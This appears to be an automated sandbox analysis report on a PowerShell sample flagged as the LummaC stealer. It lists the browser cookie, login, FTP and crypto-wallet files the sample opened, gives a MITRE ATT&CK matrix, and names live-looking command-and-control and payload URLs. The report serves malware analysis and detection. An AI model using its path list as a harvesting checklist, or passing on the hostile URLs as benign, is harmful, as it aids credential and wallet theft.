Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Masquerading	2 OS Credential Dumping	131 Security Software Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	32 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
00000.ps1	0%	Virustotal		Browse
00000.ps1	0%	ReversingLabs

Source	Detection	Scanner	Label
https://hushedocenahu.click/bm	0%	Avira URL Cloud	safe
https://hushedocenahu.click:443/api5	0%	Avira URL Cloud	safe
https://hushedocenahu.click/apiB=	0%	Avira URL Cloud	safe
https://hushedocenahu.click/	0%	Avira URL Cloud	safe
https://hushedocenahu.click/apid=:c	0%	Avira URL Cloud	safe
https://dma.sportstalk-musiclover.com	0%	Avira URL Cloud	safe
https://hushedocenahu.click:443/api	0%	Avira URL Cloud	safe
https://hushedocenahu.click/api:6x	0%	Avira URL Cloud	safe
https://hushedocenahu.click:443/apiA	0%	Avira URL Cloud	safe
https://dma.sportstalk-musiclover.com/singl7.pst	0%	Avira URL Cloud	safe
https://hushedocenahu.click/bu	0%	Avira URL Cloud	safe
https://hushedocenahu.click/o	0%	Avira URL Cloud	safe
https://hushedocenahu.click:443/apiK	0%	Avira URL Cloud	safe
https://hushedocenahu.click/apib	0%	Avira URL Cloud	safe
https://hushedocenahu.click/api	0%	Avira URL Cloud	safe
hushedocenahu.click	0%	Avira URL Cloud	safe
https://hushedocenahu.click/pi	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
hushedocenahu.click	104.21.112.1	true	true	unknown
dma.sportstalk-musiclover.com	104.21.16.1	true	true	unknown
scrutinycheck.cash	104.21.38.253	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
necklacebudi.lat	false		high
aspecteirs.lat	false		high
https://scrutinycheck.cash/singl7.mp4	false		high
sustainskelet.lat	false		high
crosshuaht.lat	false		high
rapeflowwj.lat	false		high
https://dma.sportstalk-musiclover.com/singl7.pst	true	Avira URL Cloud: safe	unknown
energyaffai.lat	false		high
https://hushedocenahu.click/api	true	Avira URL Cloud: safe	unknown
hushedocenahu.click	true	Avira URL Cloud: safe	unknown
grannyejh.lat	false		high
discokeyus.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://scrutinycheck.cash/singl7.mp40w&	mshta.exe, 00000002.00000002.1822579001.000001FD98B76000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hushedocenahu.click:443/api	powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4c	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.3.dr	false		high
https://aka.ms/pscore6	powershell.exe, 00000000.00000002.1707001307.0000026C0A68A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4iqenvwh	mshta.exe, 00000002.00000002.1824253687.000002059ADC1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1801686518.000002059ADBE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813735544.000002059ADBE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1812901512.000002059ADBE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1814020931.000002059ADC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4o	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4m	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hushedocenahu.click/	powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2800133767.0000000003447000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/singl7.mp4(O	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.3.dr	false		high
https://hushedocenahu.click:443/api5	powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hushedocenahu.click/api:6x	powershell.exe, 0000000C.00000002.2803637158.000000000349D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/singl7.mp4Windows	mshta.exe, 00000002.00000002.1822735275.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1803612223.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4ZO	mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.3.dr	false		high
https://scrutinycheck.cash/P	mshta.exe, 00000002.00000002.1822900003.000001FD98C02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818296198.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4:6	mshta.exe, 00000002.00000002.1822735275.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1803612223.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1788739596.0000029766D1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.00000297587FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1788739596.0000029766E54000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hushedocenahu.click/bm	powershell.exe, 0000000C.00000002.2800133767.0000000003438000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dma.sportstalk-musiclover.com	powershell.exe, 00000004.00000002.1764165134.0000029757A75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/singl7.mp4BROWSER_APP_y	mshta.exe, 00000002.00000002.1823159169.000001FD98D30000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1707001307.0000026C0A641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.0000029756CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.0000000005291000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000003.00000003.1732763715.0000029795EB2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	false		high
https://hushedocenahu.click/apid=:c	powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash	mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1788739596.0000029766D1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.00000297587FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1788739596.0000029766E54000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scrutinycheck.cash/singl7.mp4beLMEMP(	mshta.exe, 00000002.00000002.1825644443.000002059F075000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hushedocenahu.click/apiB=	powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
